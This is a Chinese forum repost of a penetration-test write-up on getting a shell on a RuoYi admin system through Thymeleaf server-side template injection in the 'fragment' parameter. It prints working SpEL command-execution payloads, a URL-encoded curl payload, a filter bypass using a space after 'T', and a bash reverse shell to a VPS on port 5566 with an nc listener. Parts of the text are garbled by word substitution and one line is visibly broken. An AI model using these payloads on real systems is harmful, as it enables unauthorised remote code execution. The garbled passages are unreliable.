ToB企服应用市场:ToB评测及商务社交产业平台

标题: 记一次攻防演练中的若依(thymeleaf 模板注入)getshell [打印本页]

作者: 勿忘初心做自己    时间: 2024-5-27 16:32
标题: 记一次攻防演练中的若依(thymeleaf 模板注入)getshell
记一次攻防演练中幸运的从若依弱口令到后台getshell的过程和分析。
0x01 漏洞发现

首先,我会先把目标的二级域名拿去利用搜索引擎来搜索网络到包含这个目标二级域名的三级域名或者四级域名的网站。
这样子可以快速的定位到你所要测试的漏洞资产。
1、保举三个比力实用的搜索引擎:
奇安信-鹰图平台:https://hunter.qianxin.com/
360-quake: https://quake.360.net/
fofa: https://fofa.info/
搜索语法:domain="二级域名"
2、通过一番搜索查找翻阅,幸运女神光顾~~~。
通过搜索引擎搜索到包含目标的二级域名找到关于目标的的一个三级域名,而且还是漏洞百出的若依系统。
经典:你若不离不弃,我必生死相依
[img=720,338.4845250800427]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405241509039.png[/img]

基于SpringBoot的权限管理系统,核心技能采用Spring、MyBatis、Shiro没有任何别的重度依赖

0x02 漏洞分析

Thymeleaf模板注入漏洞简介
Thymeleaf模板注入形成原因,简单来说,在Thymeleaf模板文件中利用th:fragment、 , th:text 这类标签属性包含的内容会被渲染处置惩罚。并且在Thymeleaf渲染过程中利用 ${...} 或其他表达式中时内容会被Thymeleaf EL引擎实行。因此我们将攻击语句插入到 ${...} 表达式中,会触发Thymeleaf模板注入漏洞。如果带有 @ResponseBody 注解和 @RestController 注解则不能触发模板注入漏洞。由于@ResponseBody 和 @RestController 不会进行View剖析而是直接返回。以是这同样是修复方式。
漏洞点
Server-Side Template Injection简称SSTI,也就是服务器端模板注入。
我们在审计模板注入(SSTI)漏洞时,主要查看所利用的模板引擎是否有担当用户输入的地方。主要关注xxxController层代码。在Controller层,我们关注两点:1、URL路径可控。2、return内容可控。所谓可控,也就是担当输入。
1、URL路径可控
  1. @RequestMapping("/hello")
  2. public class HelloController {
  3.  @RequestMapping("/whoami/{name}/{sex}")
  4.  public String hello(@PathVariable("name") String name,
  5. @PathVariable("sex") String sex){
  6.    return "Hello" + name + sex;
  7.   }
  8. }
复制代码
return内容可控
  1. @PostMapping("/getNames")
  2. public String getCacheNames(String fragment, ModelMap mmap)
  3. {
  4.  mmap.put("cacheNames", cacheService.getCacheNames());
  5.  return prefix + "/cache::" + fragment;
  6. }
  7. return内容可控:
  8. \_\_${new
  9. java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getI
  10. nputStream()).next()}\_\_::.x
  11. URL路径可控:
  12. \_\_${T(java.lang.Runtime).getRuntime().exec("touch test")}\_\_::.x
复制代码
2、Ruoyi利用了thymeleaf-spring5,其中四个接口方法中设置了片段选择器:
http://xxxxxx/monitor/cache/getNames
http://xxxxxx/monitor/cache/getKeys
http://xxxxxx/monitor/cache/getValue
http://xxxxxx/demo/form/localrefresh/task
通过这四段接口,可以指定任意fragment,以/monitor/cache/getNames接口为例,controller代码如下:
  1. @PostMapping("/getNames")
  2. public String getCacheNames(String fragment, ModelMap mmap)
  3. {
  4.    mmap.put("cacheNames", cacheService.getCacheNames());
  5.    return prefix + "/cache::" + fragment;
  6. }
复制代码
简单明白:接收到 fragment 后,在return处进行了模板路径拼接。根据代码我们知道根路径为 /monitor/cache ,各个接口路径分别为 /getNames , /getKeys , /getValue ,请求参数均为fragment 。
这四段接口方法中,都利用了thymeleaf的语法:
  1. "/xxx::" + fragment;
复制代码
我们构造fragment的值为:
  1. url编码:
  2. %24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%75%72%6c%20%64%6e%73%6c%6f%67%30%40%22%29%7d
  3.                    ↓
  4. ${T (java.lang.Runtime).getRuntime().exec("curl dnslog地址")}
复制代码
当我们构造的模板片段被thymeleaf剖析时,thymeleaf会将辨认出fragment为SpringEL表达式。不管是?fragment=header(payload)还是?fragment=payload
[img=720,414.42550852116545]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405241509042.png[/img]

但是,在实行SpringEL表达式之前,thymeleaf会去检查参数值中是否利用了"T(SomeClass)"或者"new SomeClass"
[img=720,266.95652173913044]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405241509043.png[/img]

这个检查方法其实可以绕过,SpringEL表达式支持"T (SomeClass)"这样的语法,因此我们只要在T与恶意Class之间加个空格,就既可以绕过thymeleaf的检测规则,又可以实行SpringEL表达式。
因此payload中T与恶意Class之间含有空格,不论是空格或者制表符都可以绕过检测。

漏洞影响:RuoYi & /dev/tcp/vps IP/5566 0>&1[/code]
[img=720,148.1902058197303]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405241509049.png[/img]

构造fragment的值,把上面利用base64的编码放入下面的payload编码成url编码
  1. /monitor/cache/getNames
  2. /monitor/cache/getKeys
  3. /monitor/cache/getValue
  4. /demo/form/localrefresh/task
复制代码
[img=720,130.01757469244288]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405241509051.png[/img]

把前面拦截到的访问/monitor/cache/getNames路径的数据包更改请求方式为POST,更改完请求方式后在访问路径后面拼接上我们刚刚经过url编码构造fragment的值
[img=720,158.77246821569486]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405241509052.png[/img]
  1. /bin/bash -i >& /dev/tcp/vps IP/5566 0>&1
复制代码
 
3、在vps上面利用nc监听5566端口,接收反弹shell。

把刚刚更改了请求方式为POST拼接上url编码构造fragment的值的数据包发送出去,可以发到重发器多发几遍。
[img=720,159.12126537785588]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405241509054.png[/img]

返回包返回状态200,应该是实行成功了。
[img=720,265.2631578947368]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405241509055.png[/img]

回到vps查看监听状态,nice!!!成功,拿下拿下。
[img=720,219.25531914893617]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405241509056.png[/img]

漏洞挖掘的过程中要有耐心、细心,把能试的漏洞都试一试,反正试一试又不要钱,说不定就getshell了呢。。。。。。
0x04 修复建议

把若依系统更新到最新版本。
更多网安技能的在线实练习习,请点击这里>>
  

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4